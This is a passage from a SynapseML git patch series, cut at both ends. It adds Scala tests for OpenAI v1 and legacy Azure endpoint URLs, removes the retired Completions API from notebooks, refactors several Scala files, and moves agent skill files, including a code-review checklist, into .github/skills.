OpenAIDefaults.setURL("not-a-url") + try { + val transformer = new OpenAIChatCompletion() + transformer.transferGlobalParamsToParamMap() + assert(transformer.getUrl == "not-a-url") + } finally { + OpenAIDefaults.resetURL() + } + } + + test("OpenAI defaults accept v1 URL and omit global api-version") { + OpenAIDefaults.setURL("https://example.openai.azure.com/openai/v1") + OpenAIDefaults.setApiVersion("2025-04-01-preview") + try { + val transformer = new OpenAIChatCompletion() + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + transformer.transferGlobalParamsToParamMap() + + assert(requestUrl(transformer, messagesRow) == "https://example.openai.azure.com/openai/v1/chat/completions") + } finally { + OpenAIDefaults.resetURL() + OpenAIDefaults.resetApiVersion() + } + } + + test("embeddings uses OpenAI v1 base URL and sends deployment as model") { + Seq( + "https://example.services.ai.azure.com/openai/v1" -> + "https://example.services.ai.azure.com/openai/v1/embeddings", + "https://example.services.ai.azure.com/openai/v1/" -> + "https://example.services.ai.azure.com/openai/v1/embeddings", + "https://api.openai.com/v1" -> + "https://api.openai.com/v1/embeddings" + ).foreach { case (baseUrl, expectedUrl) => + val transformer = new OpenAIEmbedding() + .setUrl(baseUrl) + .setDeploymentName("text-embedding-3-large") + .setTextCol("text") + .setApiVersion("2025-04-01-preview") + + val row = Seq("hello").toDF("text").collect().head + assert(requestUrl(transformer, row) == expectedUrl) + + val payload = requestPayload(transformer, row) + assert(payload.fields.get("model").contains(JsString("text-embedding-3-large"))) + assert(payload.fields.get("input").contains(JsString("hello"))) + } + } + + test("embeddings keeps legacy Azure deployment URL and api-version") { + val transformer = new OpenAIEmbedding() + .setUrl("https://example.openai.azure.com/") + .setDeploymentName("text-embedding-3-large") + .setTextCol("text") + .setApiVersion("2025-04-01-preview") + + val row = Seq("hello").toDF("text").collect().head + assert(requestUrl(transformer, row) == + "https://example.openai.azure.com/openai/deployments/text-embedding-3-large/embeddings" + + "?api-version=2025-04-01-preview") + + val payload = requestPayload(transformer, row) + assert(!payload.fields.contains("model")) + assert(payload.fields.get("input").contains(JsString("hello"))) + } + + test("responses uses OpenAI v1 base URL without api-version") { + Seq( + "https://example.services.ai.azure.com/openai/v1" -> + "https://example.services.ai.azure.com/openai/v1/responses", + "https://example.services.ai.azure.com/openai/v1/" -> + "https://example.services.ai.azure.com/openai/v1/responses", + "https://api.openai.com/v1" -> + "https://api.openai.com/v1/responses" + ).foreach { case (baseUrl, expectedUrl) => + val transformer = new OpenAIResponses() + .setUrl(baseUrl) + .setDeploymentName("gpt-5-mini") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + val row = messagesRow + assert(requestUrl(transformer, row) == expectedUrl) + + val payload = requestPayload(transformer, row) + assert(payload.fields.get("model").contains(JsString("gpt-5-mini"))) + assert(payload.fields.contains("input")) + } + } + + test("responses v1 endpoint requires deployment name as model") { + val transformer = new OpenAIResponses() + .setUrl("https://example.services.ai.azure.com/openai/v1") + .setMessagesCol("messages") + + val err = intercept[IllegalArgumentException] { + requestPayload(transformer, messagesRow) + } + assert(err.getMessage.contains("No deployment/model name provided for OpenAI v1 endpoint")) + } + + test("responses keeps legacy Azure URL shape when URL is not an OpenAI v1 base") { + val transformer = new OpenAIResponses() + .setUrl("https://example.openai.azure.com/") + .setDeploymentName("gpt-5-mini") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == + "https://example.openai.azure.com/openai/responses?api-version=2025-04-01-preview") + } + + test("OpenAIPrompt treats services.ai.azure.com/openai/v1 as OpenAI v1, not models chat endpoint") { + val prompt = new OpenAIPrompt() + .setUrl("https://example.services.ai.azure.com/openai/v1") + .setModel("gpt-4o") + .setMessagesCol("messages") + + val prepareEntity = classOf[OpenAIPrompt].getDeclaredMethod("prepareEntity") + prepareEntity.setAccessible(true) + val buildEntity = prepareEntity.invoke(prompt).asInstanceOf[Row => Option[AbstractHttpEntity]] + + val payload = EntityUtils.toString(buildEntity(messagesRow).get).parseJson.asJsObject + assert(payload.fields.get("model").contains(JsString("gpt-4o"))) + assert(payload.fields.contains("messages")) + } +} diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/DoubleMLEstimator.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/DoubleMLEstimator.scala index 738b7ffeed1..dffe6246823 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/DoubleMLEstimator.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/DoubleMLEstimator.scala @@ -246,7 +246,7 @@ class DoubleMLEstimator(override val uid: String) 4. Cross-fit treatment and outcome models with the second split, residual model with the first split. 5. Average slopes from the two residual models. */ - val splits = dataset.randomSplit(getSampleSplitRatio) + val splits = dataset.toDF().randomSplit(getSampleSplitRatio) val (train, test) = (splits(0).cache, splits(1).cache) val residualsDF1 = calculateResiduals(train, test).select(outcomeResidualCol, treatmentResidualVecCol) val residualsDF2 = calculateResiduals(test, train).select(outcomeResidualCol, treatmentResidualVecCol) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/OrthoForestDMLEstimator.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/OrthoForestDMLEstimator.scala index 46c7e4a9593..cbb82267888 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/OrthoForestDMLEstimator.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/OrthoForestDMLEstimator.scala @@ -104,7 +104,7 @@ class OrthoForestDMLEstimator(override val uid: String) 4. Cross-fit treatment and outcome models with the second split, residual model with the first split. 5. Average slopes from the two residual models is eqiuivalent to fitting one tree */ - val splits = dataset.randomSplit(getSampleSplitRatio) + val splits = dataset.toDF().randomSplit(getSampleSplitRatio) val (train, test) = (splits(0).cache, splits(1).cache) val residualsDF1 = calculateResiduals(train, test) val residualsDF2 = calculateResiduals(test, train) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/ResidualTransformer.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/ResidualTransformer.scala index de6dfe9d3f9..5248b944554 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/ResidualTransformer.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/causal/ResidualTransformer.scala @@ -72,9 +72,9 @@ class ResidualTransformer(override val uid: String) extends Transformer s"${this.getClass.getSimpleName}: " + s"observedCol must be of type DoubleType, LongType, IntegerType or BooleanType but got $observedColType") - val convertedDataset = if (observedColType == BooleanType) { + val convertedDataset: DataFrame = if (observedColType == BooleanType) { dataset.withColumn(getObservedCol, col(getObservedCol).cast(IntegerType)) - } else dataset + } else dataset.toDF() val predictedColDataType = convertedDataset.schema(getPredictedCol).dataType diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala index 425d7314f6f..e316202f80b 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala @@ -18,6 +18,32 @@ object PyCodegen { import CodeGenUtils._ + private val DeprecatedOpenAICompletionFile = "OpenAICompletion.py" + + private val OpenAICompletionImportHook: String = + """ + |def __getattr__(name): + | if name == "OpenAICompletion": + | import warnings + | + | with warnings.catch_warnings(): + | warnings.simplefilter("ignore", FutureWarning) + | from synapse.ml.services.openai.OpenAICompletion import ( + | OpenAICompletion, + | warn_openai_completion_deprecated, + | ) + | warn_openai_completion_deprecated(stacklevel=2) + | globals()["OpenAICompletion"] = OpenAICompletion + | return OpenAICompletion + | raise AttributeError(f"module {__name__!r} has no attribute {name!r}") + |""".stripMargin + + private def isOpenAICompletionStub(packageFolder: String, fileName: String): Boolean = + packageFolder == "/services/openai" && fileName == DeprecatedOpenAICompletionFile + + private def initFileExtra(packageFolder: String): String = + if (packageFolder == "/services/openai") OpenAICompletionImportHook else "" + def generatePythonClasses(conf: CodegenConfig): Unit = { val instantiatedClasses = instantiateServices[PythonWrappable](conf.jarName) instantiatedClasses.foreach { w => @@ -37,12 +63,13 @@ object PyCodegen { dir.listFiles.filter(_.isFile).sorted .map(_.getName) .filter(name => name.endsWith(".py") && !name.startsWith("_") && !name.startsWith("test")) + .filterNot(name => isOpenAICompletionStub(packageFolder, name)) .map(name => s"from synapse.ml$packageString.${getBaseName(name)} import *\n").mkString("") } val initFile = new File(dir, "__init__.py") if (packageFolder != "/cognitive"){ if (packageFolder != "") { - writeFile(initFile, conf.packageHelp(importStrings)) + writeFile(initFile, conf.packageHelp(importStrings) + initFileExtra(packageFolder)) } else if (initFile.exists()) { initFile.delete() } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/CloseableIterator.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/CloseableIterator.scala index 68656f6ff0c..e541079eee9 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/CloseableIterator.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/CloseableIterator.scala @@ -26,9 +26,6 @@ class CloseableIterator[+T](delegate: Iterator[T], cleanup: => Unit) extends Ite catch { case _: Throwable => } - - super.finalize() } } //scalastyle:on no.finalize - diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/param/GlobalParams.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/param/GlobalParams.scala index 9ff42cd8b28..8d888df85d9 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/param/GlobalParams.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/param/GlobalParams.scala @@ -10,34 +10,31 @@ import scala.collection.mutable trait GlobalKey[T] object GlobalParams { - private val ParamToKeyMap: mutable.Map[Any, GlobalKey[_]] = mutable.Map.empty - private val GlobalParams: mutable.Map[GlobalKey[_], Any] = mutable.Map.empty + private val ParamToKeyMap: mutable.Map[Any, GlobalKey[Any]] = mutable.Map.empty + private val GlobalParams: mutable.Map[GlobalKey[Any], Any] = mutable.Map.empty + private def untypedKey[T](key: GlobalKey[T]): GlobalKey[Any] = { + key.asInstanceOf[GlobalKey[Any]] + } def setGlobalParam[T](key: GlobalKey[T], value: T): Unit = { - GlobalParams(key) = value + GlobalParams(untypedKey(key)) = value } def getGlobalParam[T](key: GlobalKey[T]): Option[T] = { - GlobalParams.get(key.asInstanceOf[GlobalKey[Any]]).map(_.asInstanceOf[T]) + GlobalParams.get(untypedKey(key)).map(_.asInstanceOf[T]) } def resetGlobalParam[T](key: GlobalKey[T]): Unit = { - GlobalParams -= key + GlobalParams -= untypedKey(key) } def getParam[T](p: Param[T]): Option[T] = { - ParamToKeyMap.get(p).flatMap { key => - key match { - case k: GlobalKey[T] => - getGlobalParam(k) - case _ => None - } - } + ParamToKeyMap.get(p).flatMap(GlobalParams.get).map(_.asInstanceOf[T]) } def registerParam[T](p: Param[T], key: GlobalKey[T]): Unit = { - ParamToKeyMap(p) = key + ParamToKeyMap(p) = untypedKey(key) } } diff --git a/docs/Explore Algorithms/OpenAI/OpenAI.ipynb b/docs/Explore Algorithms/OpenAI/OpenAI.ipynb index 39d125cd7bb..614ec3d9e4d 100644 --- a/docs/Explore Algorithms/OpenAI/OpenAI.ipynb +++ b/docs/Explore Algorithms/OpenAI/OpenAI.ipynb @@ -7,7 +7,7 @@ "source": [ "# Azure OpenAI for big data\n", "\n", - "The Azure OpenAI service can be used to solve a large number of natural language tasks through prompting the completion API. To make it easier to scale your prompting workflows from a few examples to large datasets of examples, we have integrated the Azure OpenAI service with the distributed machine learning library [SynapseML](https://www.microsoft.com/en-us/research/blog/synapseml-a-simple-multilingual-and-massively-parallel-machine-learning-library/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of prompts with the OpenAI service. This tutorial shows how to apply large language models at a distributed scale using Azure OpenAI. " + "The Azure OpenAI service can be used to solve a large number of natural language tasks through chat, responses, and embedding APIs. To make it easier to scale your prompting workflows from a few examples to large datasets of examples, we have integrated the Azure OpenAI service with the distributed machine learning library [SynapseML](https://www.microsoft.com/en-us/research/blog/synapseml-a-simple-multilingual-and-massively-parallel-machine-learning-library/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of prompts with the OpenAI service. This tutorial shows how to apply large language models at a distributed scale using Azure OpenAI.\n" ] }, { @@ -262,229 +262,9 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "## (Legacy) Create the OpenAICompletion Apache Spark Client\n", + "## Retired Completions API\n", "\n", - "To apply the OpenAI Completion service to your dataframe you created, create an OpenAICompletion object, which serves as a distributed client. Parameters of the service can be set either with a single value, or by a column of the dataframe with the appropriate setters on the `OpenAICompletion` object. Here we're setting `maxTokens` to 200. A token is around four characters, and this limit applies to the sum of the prompt and the result. We're also setting the `promptCol` parameter with the name of the prompt column in the dataframe." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from synapse.ml.services.openai import OpenAICompletion\n", - "\n", - "completion = (\n", - " OpenAICompletion()\n", - " .setSubscriptionKey(key)\n", - " .setDeploymentName(deployment_name)\n", - " .setCustomServiceName(service_name)\n", - " .setMaxTokens(200)\n", - " .setPromptCol(\"prompt\")\n", - " .setErrorCol(\"error\")\n", - " .setOutputCol(\"completions\")\n", - ")" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## (Legacy) Transform the dataframe with the OpenAICompletion Client\n", - "\n", - "After creating the dataframe and the completion client, you can transform your input dataset and add a column called `completions` with all of the information the service adds. Select just the text for simplicity." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from pyspark.sql.functions import col\n", - "\n", - "completed_df = completion.transform(df).cache()\n", - "display(\n", - " completed_df.select(\n", - " col(\"prompt\"),\n", - " col(\"error\"),\n", - " col(\"completions.choices.text\").getItem(0).alias(\"text\"),\n", - " ).show(truncate=False)\n", - ")" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Your output should look something like this. The completion text will be different from the sample.\n", - "\n", - "| **prompt** \t| **error** \t| **text** \t|\n", - "|:----------------------------:\t|:----------:\t|:-------------------------------------------------------------------------------------------------------------------------------------:\t|\n", - "| Hello my name is \t| null \t| Makaveli I'm eighteen years old and I want to be a rapper when I grow up I love writing and making music I'm from Los Angeles, CA \t|\n", - "| The best code is code thats \t| null \t| understandable This is a subjective statement, and there is no definitive answer. \t|\n", - "| SynapseML is \t| null \t| A machine learning algorithm that is able to learn how to predict the future outcome of events. \t|" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Improve throughput with request batching for OpenAICompletion\n", - "\n", - "The example makes several requests to the service, one for each prompt. To complete multiple prompts in a single request, use batch mode. First, in the OpenAICompletion object, instead of setting the Prompt column to \"Prompt\", specify \"batchPrompt\" for the BatchPrompt column.\n", - "To do so, create a dataframe with a list of prompts per row.\n", - "\n", - "As of this writing there's currently a limit of 20 prompts in a single request, and a hard limit of 2048 \"tokens\", or approximately 1500 words." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "batch_df = spark.createDataFrame(\n", - " [\n", - " ([\"The time has come\", \"Pleased to\", \"Today stocks\", \"Here's to\"],),\n", - " ([\"The only thing\", \"Ask not what\", \"Every litter\", \"I am\"],),\n", - " ]\n", - ").toDF(\"batchPrompt\")" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Next we create the OpenAICompletion object. Rather than setting the prompt column, set the batchPrompt column if your column is of type `Array[String]`." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "batch_completion = (\n", - " OpenAICompletion()\n", - " .setSubscriptionKey(key)\n", - " .setDeploymentName(deployment_name)\n", - " .setCustomServiceName(service_name)\n", - " .setMaxTokens(200)\n", - " .setBatchPromptCol(\"batchPrompt\")\n", - " .setErrorCol(\"error\")\n", - " .setOutputCol(\"completions\")\n", - ")" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "In the call to transform, a request will be made per row. Since there are multiple prompts in a single row, each request is sent with all prompts in that row. The results contain a row for each row in the request." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "completed_batch_df = batch_completion.transform(batch_df).cache()\n", - "display(completed_batch_df.show(truncate=False))" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Using an automatic minibatcher\n", - "\n", - "If your data is in column format, you can transpose it to row format using SynapseML's `FixedMiniBatcherTransformer`." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from pyspark.sql.types import StringType\n", - "from synapse.ml.stages import FixedMiniBatchTransformer\n", - "from synapse.ml.core.spark import FluentAPI\n", - "\n", - "completed_autobatch_df = (\n", - " df.coalesce(\n", - " 1\n", - " ) # Force a single partition so that our little 4-row dataframe makes a batch of size 4, you can remove this step for large datasets\n", - " .mlTransform(FixedMiniBatchTransformer(batchSize=4))\n", - " .withColumnRenamed(\"prompt\", \"batchPrompt\")\n", - " .mlTransform(batch_completion)\n", - ")\n", - "\n", - "display(completed_autobatch_df.show(truncate=False))" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Prompt engineering for translation\n", - "\n", - "The Azure OpenAI service can solve many different natural language tasks through [prompt engineering](https://docs.microsoft.com/en-us/azure/cognitive-services/openai/how-to/completions). Here, we show an example of prompting for language translation:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "translate_df = spark.createDataFrame(\n", - " [\n", - " (\"Japanese: Ookina hako English: Big box Japanese: Midori takoEnglish:\",),\n", - " (\n", - " \"French: Quel heure et il au Montreal? English: What time is it in Montreal? French: Ou est le poulet? English:\",\n", - " ),\n", - " ]\n", - ").toDF(\"prompt\")\n", - "\n", - "display(completion.transform(translate_df).show(truncate=False))" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Prompt for question answering\n", - "\n", - "Here, we prompt GPT-3 for general-knowledge question answering:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "qa_df = spark.createDataFrame(\n", - " [\n", - " (\n", - " \"Q: Where is the Grand Canyon?A: The Grand Canyon is in Arizona.Q: What is the weight of the Burj Khalifa in kilograms?A:\",\n", - " )\n", - " ]\n", - ").toDF(\"prompt\")\n", - "\n", - "display(completion.transform(qa_df).show(truncate=False))" + "The `OpenAICompletion` transformer has been removed because the legacy Completions API is deprecated and retired. Use `OpenAIChatCompletion`, `OpenAIPrompt` with `chat_completions` or `responses`, or `OpenAIResponses` for text generation workloads.\n" ] }, { diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb index 6e90974a480..82ae3f185cc 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb @@ -17,7 +17,7 @@ "source": [ "# Embedding Text with Azure OpenAI and GPU based KNN\n", "\n", - "The Azure OpenAI service can be used to solve a large number of natural language tasks through prompting the completion API. To make it easier to scale your prompting workflows from a few examples to large datasets of examples we have integrated the Azure OpenAI service with the distributed machine learning library [Spark Rapids ML](https://github.com/NVIDIA/spark-rapids-ml/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of prompts with the OpenAI service. This tutorial shows how to apply large language models to generate embeddings for large datasets of text. This demo is based on \"Quickstart - OpenAI Embedding\" notebook with NVIDIA GPU accelerated KNN.\n", + "The Azure OpenAI service can be used to generate embeddings for large datasets of text. To make it easier to scale your embedding workflows from a few examples to large datasets of examples we have integrated the Azure OpenAI service with the distributed machine learning library [Spark Rapids ML](https://github.com/NVIDIA/spark-rapids-ml/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of inputs with the OpenAI service. This tutorial shows how to apply large language models to generate embeddings for large datasets of text. This demo is based on \"Quickstart - OpenAI Embedding\" notebook with NVIDIA GPU accelerated KNN.\n", "\n", "**Note**: Running the notebook with the demo dataset (Step 4) will generate the same results as CPU based “Quickstart - OpenAI Embedding” notebook. To see GPU acceleration you need to run query against bigger embeddings. \n", "For example, running 100K rows dataset will give 6x acceleration and consume less than 10x memory on 2 nodes NVIDIA T4 cluster compare to AMD Epic (Rome) 2 nodes CPU cluster.\n", diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb index 6b973bab22b..78995acdea7 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb @@ -17,7 +17,7 @@ "source": [ "# Embedding Text with Azure OpenAI\n", "\n", - "The Azure OpenAI service can be used to solve a large number of natural language tasks through prompting the completion API. To make it easier to scale your prompting workflows from a few examples to large datasets of examples we have integrated the Azure OpenAI service with the distributed machine learning library [SynapseML](https://www.microsoft.com/en-us/research/blog/synapseml-a-simple-multilingual-and-massively-parallel-machine-learning-library/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of prompts with the OpenAI service. This tutorial shows how to apply large language models to generate embeddings for large datasets of text. \n", + "The Azure OpenAI service can be used to generate embeddings for large datasets of text. To make it easier to scale your embedding workflows from a few examples to large datasets of examples we have integrated the Azure OpenAI service with the distributed machine learning library [SynapseML](https://www.microsoft.com/en-us/research/blog/synapseml-a-simple-multilingual-and-massively-parallel-machine-learning-library/). This integration makes it easy to use the [Apache Spark](https://spark.apache.org/) distributed computing framework to process millions of inputs with the OpenAI service. This tutorial shows how to apply large language models to generate embeddings for large datasets of text.\n", "\n", "## Step 1: Prerequisites\n", "\n", diff --git a/docs/Get Started/Set up Cognitive Services.ipynb b/docs/Get Started/Set up Cognitive Services.ipynb index 7bf4333434b..73fdd8af729 100644 --- a/docs/Get Started/Set up Cognitive Services.ipynb +++ b/docs/Get Started/Set up Cognitive Services.ipynb @@ -27,7 +27,7 @@ "source": [ "## Azure OpenAI\n", "\n", - "The [Azure OpenAI service](https://azure.microsoft.com/products/cognitive-services/openai-service/) can be used to solve a large number of natural language tasks through prompting the completion API. To make it easier to scale your prompting workflows from a few examples to large datasets of examples, we have integrated the Azure OpenAI service with the distributed machine learning library SynapseML. This integration makes it easy to use the Apache Spark distributed computing framework to process millions of prompts with the OpenAI service." + "The [Azure OpenAI service](https://azure.microsoft.com/products/cognitive-services/openai-service/) can be used to solve a large number of natural language tasks through chat, responses, and embedding APIs. To make it easier to scale your prompting workflows from a few examples to large datasets of examples, we have integrated the Azure OpenAI service with the distributed machine learning library SynapseML. This integration makes it easy to use the Apache Spark distributed computing framework to process millions of prompts with the OpenAI service. The legacy Completions API and SynapseML `OpenAICompletion` transformer are deprecated and retired; use chat completions or responses APIs for text generation." ] }, { diff --git a/tools/docgen/docgen/manifest.yaml b/tools/docgen/docgen/manifest.yaml index 77302a46d8e..d141445fc30 100644 --- a/tools/docgen/docgen/manifest.yaml +++ b/tools/docgen/docgen/manifest.yaml @@ -99,7 +99,7 @@ channels: filename: open-ai metadata: title: Azure OpenAI for big data - description: Use Azure OpenAI service to solve a large number of natural language tasks through prompting the completion API. + description: Use Azure OpenAI service to solve a large number of natural language tasks through chat, responses, and embedding APIs. ms.topic: how-to ms.custom: build-2023 ms.reviewer: jessiwang @@ -161,4 +161,4 @@ channels: ms.topic: overview ms.reviewer: sngun, garye, negust, ruxu, jessiwang author: WilliamDAssafMSFT - ms.author: wiassaf \ No newline at end of file + ms.author: wiassaf From 9b7ede6dce4ee1df49a296d4440484706b783572 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Tue, 19 May 2026 19:47:27 -0700 Subject: [PATCH 05/93] chore: migrate SynapseML skills to Copilot path (#2559) ## Summary Move the remaining SynapseML repo skill from `.agents/skills/` to `.github/skills/` so Copilot CLI can discover all repo-versioned skills from the documented project-skill path. Add README pointers under `.agents/` for tools or agents that inspect the older convention. ## Prompting Intent The engineer asked to migrate everything to the correct Copilot CLI path and suggested keeping a generic agents pointer. The goal was to make existing skills discoverable by Copilot while avoiding future confusion about `.agents/skills`. ## Linked Sources - User request in current session: migrate everything to the correct path for Copilot CLI and keep a generic agents pointer. - Skill location reference: /home/brwals/.copilot/installed-plugins/copilot-toolkit-marketplace/common/skills/create-skill/references/REFERENCE.md - Prior merged skill PR: https://github.com/microsoft/SynapseML/pull/2558 ## Rationale `.github/skills//` is the documented Copilot CLI project-skill location. Keeping only README pointers under `.agents/` preserves a breadcrumb for other agent conventions without leaving duplicate or stale `SKILL.md` files in a path Copilot CLI may not load. --- .agents/README.md | 7 +++++++ .agents/skills/README.md | 10 ++++++++++ {.agents => .github}/skills/code-review/SKILL.md | 10 +++++----- 3 files changed, 22 insertions(+), 5 deletions(-) create mode 100644 .agents/README.md create mode 100644 .agents/skills/README.md rename {.agents => .github}/skills/code-review/SKILL.md (85%) diff --git a/.agents/README.md b/.agents/README.md new file mode 100644 index 00000000000..ce277d7b7fb --- /dev/null +++ b/.agents/README.md @@ -0,0 +1,7 @@ +# Agent configuration + +Copilot CLI discovers project skills from `.github/skills//`. + +Do not add `SKILL.md` files under `.agents/skills/`. Keep repo-versioned skills in `.github/skills/` so Copilot CLI can load them consistently. + +This directory remains only as a compatibility pointer for agents or tools that inspect `.agents`. diff --git a/.agents/skills/README.md b/.agents/skills/README.md new file mode 100644 index 00000000000..b8e9c591055 --- /dev/null +++ b/.agents/skills/README.md @@ -0,0 +1,10 @@ +# Skills moved + +Repo-versioned skills for Copilot CLI live in `.github/skills/`. + +Use these paths instead: + +- `.github/skills/code-review/` +- `.github/skills/synapseml-local-setup/` + +Do not add `SKILL.md` files in this directory. diff --git a/.agents/skills/code-review/SKILL.md b/.github/skills/code-review/SKILL.md similarity index 85% rename from .agents/skills/code-review/SKILL.md rename to .github/skills/code-review/SKILL.md index 62138000fe4..84ca87b6aa5 100644 --- a/.agents/skills/code-review/SKILL.md +++ b/.github/skills/code-review/SKILL.md @@ -1,6 +1,6 @@ --- name: code-review -description: Quick review checklist for python and scala code changes before callings it done. +description: Review SynapseML Python and Scala code changes. Use before finalizing PR reviews or implementation changes to check security, compatibility, style, generated code, and targeted tests. --- # Code Review @@ -21,8 +21,8 @@ Use this skill when reviewing SynapseML changes. Apply when changes touch serialization, I/O, network, or authentication code. ### Deserialization (CWE-502) -- [ ] No raw `ObjectInputStream.readObject()` — use `SafeObjectInputStream` with an allowlist -- [ ] `resolveClass` allowlist validates array component types — never allowlist the `[` prefix +- [ ] No raw `ObjectInputStream.readObject()`: use `SafeObjectInputStream` with an allowlist +- [ ] `resolveClass` allowlist validates array component types. Never allowlist the `[` prefix directly; array handling must extract and validate the component class name - [ ] `resolveProxyClass` is overridden to block or validate dynamic proxy interfaces - [ ] Allowlist uses package-prefix matching, not blocklisting @@ -46,7 +46,7 @@ Apply when changes modify public classes, traits, or companion objects. ### Binary Compatibility (JVM) - [ ] No method signature changes on existing public methods (default parameters - generate synthetic bridges — use explicit overloads instead) + generate synthetic bridges; use explicit overloads instead) - [ ] No removed or renamed public classes, traits, or objects - [ ] Companion object `extends DefaultParamsReadable[T]` preserved if it existed @@ -61,7 +61,7 @@ Apply when changes modify public classes, traits, or companion objects. - [ ] `Wrappable` trait mixed in if the class needs a Python wrapper - [ ] `SynapseMLLogging` trait mixed in; `logClass()` called in constructor - [ ] No wildcard imports where explicit imports suffice (`java.io._` → named imports) -- [ ] No RDD API usage — DataFrame/Dataset only +- [ ] No RDD API usage. Use DataFrame/Dataset only - [ ] Lines ≤ 120 chars, files ≤ 800 lines ## Python Checklist From b0fa222cfdde5d0a2cbb2bc6a35630bbb61bc0e3 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 21 May 2026 11:52:31 -0700 Subject: [PATCH 06/93] fix: add speechtotextsdk improvements (#2562) * add speechtotextsdk improvements * Fix ffmpeg output args * add ffmpeg url check * fix: address speech recording review feedback Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: make OpenAIPrompt RAI test resilient Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * Revert "test: make OpenAIPrompt RAI test resilient" This reverts commit fccce86149476005b0506e7562e81eb3ef1f620b. --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../ml/services/speech/SpeechToTextSDK.scala | 97 +++++++++++++---- .../speech/SpeechToTextSDKSecuritySuite.scala | 101 ++++++++++++++++++ 2 files changed, 176 insertions(+), 22 deletions(-) create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDKSecuritySuite.scala diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDK.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDK.scala index 7596a07fa1b..9f909379e6b 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDK.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDK.scala @@ -18,6 +18,7 @@ 